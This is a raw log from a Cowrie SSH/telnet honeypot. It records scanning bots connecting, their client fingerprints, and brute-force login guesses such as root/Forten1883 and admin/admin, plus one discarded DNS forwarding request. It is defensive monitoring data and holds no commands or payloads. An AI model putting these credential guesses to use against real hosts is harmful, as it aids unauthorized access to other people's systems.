{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":29929,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d5111e4d60e","protocol":"ssh","message":"New connection: 223.197.186.7:29929 (159.203.135.109:22) [session: 4d5111e4d60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:33.596214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:33.601265Z","src_ip":"223.197.186.7","session":"4d5111e4d60e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:33.853922Z","src_ip":"223.197.186.7","session":"4d5111e4d60e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftptest","password":"sftptest","message":"login attempt [sftptest/sftptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:34.808398Z","src_ip":"223.197.186.7","session":"4d5111e4d60e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:36.029428Z","src_ip":"223.197.186.7","session":"4d5111e4d60e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":38260,"dst_ip":"159.203.135.109","dst_port":23,"session":"45b12a03a0b0","protocol":"telnet","message":"New connection: 79.139.59.21:38260 (159.203.135.109:23) [session: 45b12a03a0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:37.821481Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":35002,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4d464805949","protocol":"telnet","message":"New connection: 69.4.83.194:35002 (159.203.135.109:23) [session: c4d464805949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:44.924210Z"}
{"eventid":"cowrie.session.closed","duration":33.660658836364746,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:45.748262Z","src_ip":"69.4.83.194","session":"456010b39e2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.53.232","src_port":53166,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bdca37d498b","protocol":"ssh","message":"New connection: 125.21.53.232:53166 (159.203.135.109:22) [session: 0bdca37d498b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:54.153505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:54.162072Z","src_ip":"125.21.53.232","session":"0bdca37d498b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38386,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0888f4d27b9","protocol":"telnet","message":"New connection: 69.4.83.194:38386 (159.203.135.109:23) [session: a0888f4d27b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:54.226037Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:54.360226Z","src_ip":"125.21.53.232","session":"0bdca37d498b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"123","message":"login attempt [devuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:55.182078Z","src_ip":"125.21.53.232","session":"0bdca37d498b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:56.386183Z","src_ip":"125.21.53.232","session":"0bdca37d498b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7420,"dst_ip":"10.17.0.5","dst_port":22,"session":"907c53160f6d","protocol":"ssh","message":"New connection: 87.251.64.176:7420 (10.17.0.5:22) [session: 907c53160f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:56.870802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:56.875866Z","src_ip":"87.251.64.176","session":"907c53160f6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:56.973638Z","src_ip":"87.251.64.176","session":"907c53160f6d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:57.260700Z","src_ip":"87.251.64.176","session":"907c53160f6d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:57.359133Z","session":"907c53160f6d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:57.458513Z","src_ip":"87.251.64.176","session":"907c53160f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:06:57.689703Z","src_ip":"87.251.64.176","session":"907c53160f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.52862191200256,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:02.462556Z","src_ip":"69.4.83.194","session":"38686432b220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":43080,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6b635d43ded","protocol":"telnet","message":"New connection: 69.4.83.194:43080 (159.203.135.109:23) [session: c6b635d43ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:06.726409Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":58436,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae75befee419","protocol":"ssh","message":"New connection: 185.236.22.41:58436 (10.17.0.5:22) [session: ae75befee419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:07.333945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:07.338806Z","src_ip":"185.236.22.41","session":"ae75befee419","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:07.446211Z","src_ip":"185.236.22.41","session":"ae75befee419","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:07.770303Z","src_ip":"185.236.22.41","session":"ae75befee419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:08.880358Z","src_ip":"185.236.22.41","session":"ae75befee419","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":56620,"dst_ip":"10.17.0.5","dst_port":22,"session":"19d612a47346","protocol":"ssh","message":"New connection: 85.11.167.46:56620 (10.17.0.5:22) [session: 19d612a47346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:09.929890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:09.935100Z","src_ip":"85.11.167.46","session":"19d612a47346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:10.022191Z","src_ip":"85.11.167.46","session":"19d612a47346","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:10.275429Z","src_ip":"85.11.167.46","session":"19d612a47346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:11.360957Z","src_ip":"85.11.167.46","session":"19d612a47346","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46224,"dst_ip":"159.203.135.109","dst_port":23,"session":"482abe1ab024","protocol":"telnet","message":"New connection: 69.4.83.194:46224 (159.203.135.109:23) [session: 482abe1ab024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:15.297971Z"}
{"eventid":"cowrie.session.closed","duration":38.82648324966431,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:16.647857Z","src_ip":"79.139.59.21","session":"45b12a03a0b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.463095903396606,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:20.387156Z","src_ip":"69.4.83.194","session":"c4d464805949","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":45192,"dst_ip":"10.17.0.5","dst_port":22,"session":"f40dde1da959","protocol":"ssh","message":"New connection: 51.250.105.222:45192 (10.17.0.5:22) [session: f40dde1da959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:22.034010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:22.038560Z","src_ip":"51.250.105.222","session":"f40dde1da959","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:22.166596Z","src_ip":"51.250.105.222","session":"f40dde1da959","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:22.551013Z","src_ip":"51.250.105.222","session":"f40dde1da959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:23.686148Z","src_ip":"51.250.105.222","session":"f40dde1da959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.58613896369934,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:26.812061Z","src_ip":"69.4.83.194","session":"a0888f4d27b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.53.232","src_port":36156,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2aa37b7becf","protocol":"ssh","message":"New connection: 125.21.53.232:36156 (159.203.135.109:22) [session: d2aa37b7becf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:36.136721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:36.142205Z","src_ip":"125.21.53.232","session":"d2aa37b7becf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:36.331903Z","src_ip":"125.21.53.232","session":"d2aa37b7becf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:37.118757Z","src_ip":"125.21.53.232","session":"d2aa37b7becf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:38.311975Z","src_ip":"125.21.53.232","session":"d2aa37b7becf","protocol":"ssh"}
